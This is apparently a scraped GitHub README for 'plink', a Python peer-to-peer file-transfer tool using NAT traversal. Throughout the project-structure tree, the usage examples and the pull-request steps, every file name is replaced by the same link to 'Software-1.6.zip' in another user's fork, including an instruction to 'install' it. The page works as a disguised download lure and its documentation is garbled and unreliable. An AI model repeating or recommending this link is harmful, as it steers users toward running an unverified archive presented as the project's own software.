Skip to content

A command-line tool for secure, peer-to-peer file sharing between computers using NAT traversal — with no intermediate servers involved.

Notifications You must be signed in to change notification settings

devlup-labs/plink

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

162 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

plink - Peer-to-Peer File Transfer

plink is a secure, efficient peer-to-peer file transfer tool that enables direct file sharing between devices without relying on centralized servers. Built with modularity and security in mind.

Features

  • Multiple Connection Methods: Direct connection, UPnP, NAT hole punching, and role reversal
  • End-to-End Encryption: AES-256 encryption with secure key exchange
  • Smart Chunking: Efficient data chunking for large file transfers
  • Cross-Platform: Works on Windows, macOS, and Linux
  • Secure by Default: All transfers are encrypted and verified

Project Structure

plink/
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── .gitignore
├── docs/
│   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── backend/
│   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   ├── networking/
│   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   ├── core/
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   ├── strategies/
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   │   └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │   └── utils/
│   │       ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │       ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   │       └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│   └── cryptography/
│       ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       ├── core/
│       │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       │   └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       ├── data/
│       │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       │   └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│       └── utils/
│           ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│           ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│           └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── frontend/
    ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
    ├── cli/
    │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
    │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
    │   ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
    │   └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
    │
    └── config/
        ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
        ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip

Prerequisites

  • Python 3.8 or higher
  • pip package manager

Quick Start

Basic File Transfer

Sender:

plink send https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip

Receiver:

plink receive

Advanced Usage

Send with specific connection method:

plink send https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip --method upnp --port 8080

Receive with custom settings:

plink receive --output-dir /downloads --method hole-punch

Command Line Interface

Sender Commands

plink send <file_path> [OPTIONS]

OPTIONS:
  --method, -m          Connection method (direct, upnp, hole-punch, role-reverse)
  --encryption, -e     Encryption method (aes256, chacha20)
  --chunk-size, -c     Chunk size in KB (default: 1024)
  --password           Set transfer password
  --timeout            Connection timeout in seconds
  --resume             Resume interrupted transfer

Receiver Commands

plink receive [OPTIONS]

OPTIONS:
  --output-dir, -o     Output directory (default: current directory)
  --method, -m         Preferred connection method
  --password           Transfer password
  --max-size           Maximum file size to accept (MB)

Connection Methods

1. Direct Connection

  • Use Case: Same network, known IP addresses
  • Advantages: Fastest, most reliable
  • Requirements: Open ports, direct network access

2. UPnP (Universal Plug and Play)

  • Use Case: Behind NAT with UPnP-enabled router
  • Advantages: Automatic port forwarding
  • Requirements: UPnP-enabled router

3. NAT Hole Punching

  • Use Case: Both peers behind NAT
  • Advantages: Works through most NAT configurations
  • Requirements: STUN server access

4. Role Reversal

  • Use Case: Asymmetric NAT situations
  • Advantages: Fallback when other methods fail
  • Requirements: One peer with open connectivity

Pull Request Process

  1. Create a feature branch from main
  2. Make virtual environments and install https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
  3. Make your changes with appropriate tests
  4. Update documentation and https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip if needed
  5. Ensure all tests pass
  6. Submit pull request with clear description

About

A command-line tool for secure, peer-to-peer file sharing between computers using NAT traversal — with no intermediate servers involved.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 8